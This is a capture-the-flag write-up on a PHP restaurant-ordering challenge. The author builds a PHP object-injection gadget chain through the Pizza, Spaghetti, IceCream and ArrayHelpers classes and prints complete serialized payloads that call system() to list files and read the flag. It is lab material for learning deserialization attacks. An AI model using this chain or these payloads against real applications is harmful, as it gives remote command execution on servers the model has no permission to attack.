• Challenge Overview
  • Initial Recon
  • Source Code Review
  • Verification Function Analysis
  • Getting the Flag

Challenge Overview

The challenge is website for a restaurant that serves meals. Can you find the flag?

Initial Recon

First thing I did was check out the website. We got a login and register form:

None
None

After registering I see order.php page

None

so I make an order with pizza and intercept the request to see that use serialization object.

None

after base64 decode:

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}

Source Code Review

so I try to download the source code and see the functionality.

I see three classes Pizza, Spaghetti,IceCream

Pizza:

class Pizza
{
    public $price;
    public $cheese;
    public $size;


    public function __destruct()
    {
        echo $this->size->what;
    }
}

Spaghetti:

class Spaghetti
{
    public $sauce;
    public $noodles;
    public $portion;

   public function __get($tomato)
    {
        
        ($this->sauce)();
    }
 
}

IceCream

class IceCream
{
    public $flavors;
    public $topping;

    public function __invoke()
    {
        
        foreach ($this->flavors as $flavor) {
           echo $flavor; 
           
        }
    }
}

so I have three diffrent classes and each class has a function.

Goal make chain to this diffrent classes to exec system or any function.

let's review each function

The __destruct() function is a special method in object-oriented programming used primarily in PHP. It is a destructor method, automatically invoked when an object is destroyed or goes out of scope.

so after object is not used it will works .

it will kill the object after exec "echo $this->size->what";

a function __get() in Spaghetti class:

The __get() method is a magic method in PHP that is automatically called when an attempt is made to access an inaccessible (private or protected) or non-existing property of an object. It provides a way to dynamically intercept and handle property access, allowing developers to define custom behavior for property retrieval.

so if U attamp to read non-existing property in Spaghetti object it automatically call __get() which contain "($this->sauce)()" and sauce proparty call function.

the __invoke() function in IceCream class

The __invoke() method is a magic method in PHP that allows an object to be invoked as a function. It provides a way to define custom behavior when an object is treated like a function and called as such

so U can call the object as function

Verification Function Analysis

so if we can chain between this three class and functions ,we can achive our goal.

$IceCream = new IceCream();

$IceCream->flavors= function(){
    system("ls");
};


$Spaghetti = new Spaghetti();
$Spaghetti->sauce = $IceCream->flavors;

$Pizza = new Pizza();
$Pizza->size = $Spaghetti;

$serialize = serialize($Pizza);

echo $serialize ;

let's break down my code.

frist, I create $IceCream object which contian __invoke function so I can treate him and call it as function $IceCream() ; so I define Closure function to exec system('dir').

second, I create $Spaghetti that contain __get() function that call when U attamp to read non-existing property in Spaghetti object. and run sauce as function.

third, I create $Pizza object and set $Pizza->size = $Spaghetti; so the size will be object of Spaghetti class;

How all this work

when the __destruct() called the $Pizza->size->what is run

but "what" not exist in Spaghetti object then __get() will be call to call sauce function with the Closure function.

and the code run system("dir") correctly.

Problem

when I try to serialize Pizza object it give me Serialization of 'Closure' is not allowed.

None

So I try to search in files about another class to call my function

I found ArrayHelpers class.

class ArrayHelpers extends ArrayIterator
{
    public $callback;

    public function current()
    {
        $value = parent::current();
        $debug = call_user_func($this->callback, $value);
        return $value;
    }
}

so ArrayHelpers array of command and callback function to call all commands

$ArrayHelpers = new ArrayHelpers(['dir']);
$ArrayHelpers->callback = 'system';

it works but we need ArrayIterator to exec each command in the array.

public function __invoke()
    {
        
        foreach ($this->flavors as $flavor) {
           echo $flavor; 
           
        }
    }

we will use __invoke() in IceCream object.

the Finnal code will be

$ArrayHelpers = new ArrayHelpers(['dir']);
$ArrayHelpers->callback = 'system';

$IceCream = new IceCream();
$IceCream->flavors = $ArrayHelpers;



$Spaghetti = new Spaghetti();
$Spaghetti->sauce = $IceCream;
$Spaghetti->waht;

$Pizza = new Pizza();
$Pizza->size = $Spaghetti;

and the serlization

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:3:"dir";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}

It will work correctly.

Notice

I use \Helpers\ArrayHelpers because. he use namespace Helpers in ArrayHelpers.php

Getting the Flag

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:26:"cat /pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
None

refrence

PHP magic methods:

Thanks for reading